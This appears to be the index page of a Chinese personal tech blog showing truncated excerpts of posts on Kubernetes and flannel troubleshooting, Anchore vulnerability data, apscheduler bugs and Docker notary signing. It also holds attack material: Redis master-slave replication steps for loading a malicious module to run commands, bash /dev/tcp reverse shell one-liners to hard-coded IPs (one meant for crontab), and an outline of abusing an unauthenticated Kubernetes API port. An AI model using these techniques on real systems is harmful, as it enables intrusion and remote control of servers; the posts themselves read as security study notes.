zj1244
zj1244
## 主从模式 主（master）和 从（slave）部署在不同的服务器上，当主节点写入数据时会同步到从节点的服务器上，一般主节点负责写入数据，从节点负责读取数据  做个实验验证下： 1、本机启动两个redis，端口分别为6379（主）和6380（从）。客户端先连接6379端口，写入几个值  2、连接6380端口，执行slaveof 127.0.0.1 6379 ，将6379设置为主服务  ## redis模块 redis4.0后可以通过加载so文件，来实现外部扩展。并且可以通过FULLRESYNC命令同步文件到从机上。通过这些特性，从而实现攻击。 ## 攻击步骤 1、连接受害者redis, 执行命令SLAVEOF evil_ip evil_ip 2、在受害者redis设置dir和dbfilename，dbfilename为恶意so文件 3、通过同步将module写入受害者redis磁盘上：+FULLRESYNC 1\r\n$\r\n 4、在受害者redis上加载模块: MODULE LOAD /tmp/exp_lin.so 5、加载成功后，利用system.exec进行命令执行...
### 起因 使用anchore扫描镜像后，发现nvdv2类型的漏洞都没有修复版本，所以这就造成了在修复漏洞的时候，形成很大问题。 接口地址：http://192.168.47.144:8228/images/by_id/454010c206d656fd57da9c7bb4aba3cf81afd04aafdb826b50c6db71d07000d9/vuln/all  ### 分析 之后想的解决办法是从数据库里找到哪个表的字段是存修复版本的，然后写个脚本把修复版本补进去。后来发现数据库里根本没有存nvdv2类型的修复版本，这里顺带提一句，对于feed为vulnerabilities的漏洞，修复版本存在feed_data_vulnerabilities_fixed_artifacts的version字段。具体分析如下： 从接口分析，分析得出接口调用的是get_image_vulnerabilities_by_type_imageId函数  调用关系是：get_image_vulnerabilities_by_type_imageId->get_image_vulnerabilities_by_type->vulnerability_query->client.get_image_vulnerabilities resp的内容就是镜像的漏洞结果  那get_image_vulnerabilities做了哪些事情，继续分析，有两个地方定义了get_image_vulnerabilities定，分别在： /opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/services/policy_engine/api/controllers/synchronous_operations.py /opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/clients/services/policy_engine.py 这里先通过clients/services/policy_engine.py的get_image_vulnerabilities向users/{user_id}/images/{image_id}/vulnerabilities接口提交一个请求，从分析anchy_get得出处理请求的ip是engine-policy-engine   查找users/{user_id}/images/{image_id}/vulnerabilities，通过swagger.yaml看出处理这个请求的函数是anchore_engine.services.policy_engine.api.controllers.synchronous_operations的get_image_vulnerabilities，也叫get_image_vulnerabilities。  那我们看看get_image_vulnerabilities做了什么，函数通过img.vulnerabilities()从数据库里获取feed等于vulnerabilities的漏洞信息，然后存到rows列表里，其中的vuln.fixed_in()就是获取数据库里feed=vulnerabilities的修复版本  继续看fixed_in做了什么，fixed_in在/opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/db/entities/policy_engine.py定义，通过fixed_artifact获取到修复版本，而fixed_artifact是查询了数据库里的feed_data_vulnerabilities_fixed_artifacts表，对于feed是vulnerabilities的修复版本如何获取的分析告一段落。  对于feed是nvdv2的漏洞，在synchronous_operations.py的get_image_vulnerabilities函数中做了另外一种处理，通过get_fixed_in来获取修复版本  那看看get_fixed_in做了什么，get_fixed_in在/opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/db/entities/policy_engine.py定义，通过查找get_fixed_in会发现这个文件里定义了3个get_fixed_in，其中控制feed是nvdv2的修复版本的是1086行的那个，从代码里可以看到这里直接返回了空  为了验证分析是否正确，所以把return...
### 报错 在master上看node发现NotReady，接着去问题node查看日志【journalctl -f -u kubelet】，提示  ### 原因 从网上查到，应该是/etc/cni/net.d/10-flannel.conf文件里少了cniVersion版本，加上就可以解决。 ```bash [root@security ops]# cat /etc/cni/net.d/10-flannel.conf { "name": "cbr0", "cniVersion": "0.2.0", "type": "flannel", "delegate": { "isDefaultGateway": true } } [root@security ops]#...
```bash exec 5/dev/tcp/172.21.244.134/8008;cat &5 >&5; done //写入crontab反弹回来执行命令没有回显 0&196 bash -i>& /dev/tcp/192.168.84.111/8888 0>&1 ```
### 起因 之前使用apscheduler+flask跑定时任务，刚开始一段时间内一切正常，后来某天查看定时任务的时候，发现任务消失了，这让人感到非常困惑。 ### 原因 之后加了大量logging记录日志，发现了一个错误： ``` [2019-12-12 Thursday 15:00] [INFO] Scheduler started [2019-12-12 Thursday 15:00] [DEBUG] Looking for jobs to run [2019-12-12 Thursday 15:00] [ERROR] Unable to restore job...
- 背景 使用kubeadm reset重置node后，在kubeadm join加入集群，创建pod的时候，发现如下错误： ``` Failed create pod sandbox: rpc error: code = Unknown desc = failed to set up sandbox container "6b3b6f0758f193395f3bda06e64c583ac9c5ff965a888f9afdc867bad952b01a" network for pod "anchore-anchore-engine-analyzer-5958bf997c-2ngs8": NetworkPlugin cni...
```bash [root@localhost ~]# hostnamectl set-hostname k8s-master [root@k8s-master ~]# reboot [root@k8s-master ~]# yum -y install policycoreutils-python* [root@k8s-master ~]# wget http://ftp.riken.jp/Linux/cern/centos/7/extras/x86_64/Packages/container-selinux-2.68-1.el7.noarch.rpm [root@k8s-master ~]# rpm -ivh container-selinux-2.68-1.el7.noarch.rpm 准备中... ################################# [100%] 正在升级/安装... 1:container-selinux-2:2.68-1.el7 #################################...
### 任何命令如果不加-n xxx/--namespace xxx都会默认在default ### 查看namespaces： ```bash [root@localhost resource-manifests]# kubectl get namespaces NAME STATUS AGE default Active 4h11m kube-node-lease Active 4h11m kube-public Active 4h11m kube-system Active 4h11m ``` ### 升级deployment...
条件： - 客户端登陆docker login xxxxxx - /etc/hosts添加相应的域名IP解析 1. 开启notary后，docker客户端分别拉取两个镜像：一个签名后，一个未签名。结果是未签名的拉取报错：  场景一： 在开启DOCKER_CONTENT_TRUST=1的机器上，有证书，入侵者把恶意镜像替换为已签名的镜像，并把镜像push到仓库里，如下图：  结论：虽然有证书，但是push的时候还是需要输入仓库密码 场景二： 在开启DOCKER_CONTENT_TRUST=0的机器上，没有证书，入侵者把恶意镜像替换为已签名的镜像，并把镜像push到仓库里，如下图：    结论：可以看到虽然DOCKER_CONTENT_TRUST=0的情况下，不用输入密码就可以push成功，但是签名标识变成了×。 再看看拉取时候的情况： 
漏洞的起因是因为8080端口未进行限制或者关闭 根据官方文档，API Server 默认会开启两个端口：8080 和 6443。其中 8080 端口无需认证，应该仅用于测试。6443 端口需要认证，且有 TLS 保护。 直接访问 8080 端口会返回可用的 API 列表，如：  而对于端口指纹，则如下：  如果Kubernetes API Server配置了Dashboard,通过路径/ui即可访问：  但是测试的这一台并没有配置dashboard，所以不能通过图形界面来创建容器，只能通过kubectl（kubectl是官方提供了一个命令行工具 ）来进行操作。kubectl安装过程如下： ``` cat kubectl -s 1.2.3.4:8080...